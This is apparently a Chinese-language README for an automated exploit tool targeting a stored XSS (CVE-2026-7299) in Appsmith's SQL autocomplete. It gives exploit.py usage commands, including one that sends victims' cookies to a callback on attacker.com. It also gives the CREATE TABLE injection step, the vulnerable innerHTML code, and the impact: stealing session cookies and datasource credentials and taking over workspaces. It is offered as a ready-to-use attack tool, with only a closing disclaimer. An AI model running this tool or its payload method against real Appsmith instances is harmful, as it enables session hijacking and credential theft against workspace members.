
自动化利用 CVE-2026-7299 - Appsmith =>1.99 中 SQL 自动补全功能中数据库表/列名导致的存储型XSS。初始发现于 30/03/26
针对 Appsmith SQL 查询编辑器中存储型跨站脚本(XSS)漏洞的自动化利用工具。工作区开发者(Developer)可通过数据库表名注入任意 JavaScript,一旦其他工作区成员触发 SQL 自动补全,该脚本便会在其浏览器中执行。
已在 Appsmith v1.98 上确认,并且很可能影响所有包含自定义 SQL 提示渲染器的早期版本。漏洞位于 hintHelpers.ts:165:CodeMirror 的安全默认提示渲染(textContent)被自定义的 render 回调覆盖,该回调使用 innerHTML 来显示数据库表名和列名,且没有任何净化处理。
基础 alert 弹窗 PoC:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1!
将 Cookie 外泄到回调服务器:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--callback-url http://attacker.com:8888
自定义载荷:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--custom-payload ''
如果尚不存在 PostgreSQL 数据源,脚本会自动发现连接,你也可以自行提供凭据:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--db-host postgres --db-name testdb --db-user postgres --db-pass postgres

Appsmith 是一个开源低代码平台,团队可通过连接数据源和编写查询来构建内部工具。SQL 查询编辑器会根据所连接数据库的表和列元数据提供自动补全建议。
hintHelpers.ts 中的自动补全渲染使用了一个自定义的 CodeMirror render 回调:
completion.render = (LiElement, _data, { className, text }) => {
const { hintType, iconBgType, iconText } = getHintDetailsFromClassName(text, className);
LiElement.setAttribute("hinttype", hintType);
LiElement.setAttribute("icontext", iconText);
LiElement.classList.add("cm-sql-hint");
LiElement.classList.add(`cm-sql-hint-${iconBgType}`);
LiElement.innerHTML = text; // <-- unsanitized table/column name
};
CodeMirror 5 的默认提示渲染使用 textContent(安全)。Appsmith 用 innerHTML 覆盖了该逻辑,以便添加自定义 CSS 类和图标属性来实现样式化,但实际文本内容(表名)被直接赋值给原始 HTML。在从数据库目录到 DOM 渲染的 8 步数据流中,任何环节都没有净化处理。
整个攻击完全通过 Appsmith Web 界面完成。
攻击者(工作区开发者)执行一条 CREATE TABLE 语句,将 XSS 载荷作为表名。Appsmith 的 PostgresPlugin 不进行任何 DDL 过滤,statement.execute(query) 接受任何有效的 SQL,包括 DDL。
CREATE TABLE "" (id serial primary key);
任何其他工作区成员打开同一数据源的 SQL 查询编辑器并开始输入查询时,自动补全下拉框会显示从数据库元数据获取的表名建议。恶意表名通过 innerHTML 渲染,从而在受害者的浏览器会话中执行 JavaScript 载荷。
XSS 在 Appsmith 应用上下文中以受害者的会话运行。攻击者可以窃取会话 Cookie(XSRF-TOKEN、SESSION)、外泄数据源凭据,或以受害者身份发起 API 调用。如果受害者是管理员(Admin),攻击者可进而获得工作区的完全控制权。
PostgreSQL pg_catalog (table_name, column_name)
-> PostgresPlugin.getStructure() [no sanitisation]
-> DatasourceStructure Java POJO [no sanitisation]
-> REST API /api/v1/datasources/{id}/structure [no sanitisation]
-> Redux state.entities.datasources [no sanitisation]
-> getAllDatasourceTableKeys selector [no sanitisation]
-> SqlHintHelper.setDatasourceTableKeys() [no sanitisation]
-> CodeMirror hint.sql() completions [no sanitisation]
-> LiElement.innerHTML = text [XSS]
由于全程没有任何净化处理,载荷会渲染为 innerHTML,并在自动补全渲染器被调用时在 DOM 中触发。
app/client/src/components/editorComponents/CodeEditor/hintHelpers.ts:165本工具仅用于授权安全测试和教育目的。请仅对您拥有或已获得明确书面许可的系统使用。本人不对因使用本工具而造成的任何滥用或损害负责。
祝破解愉快!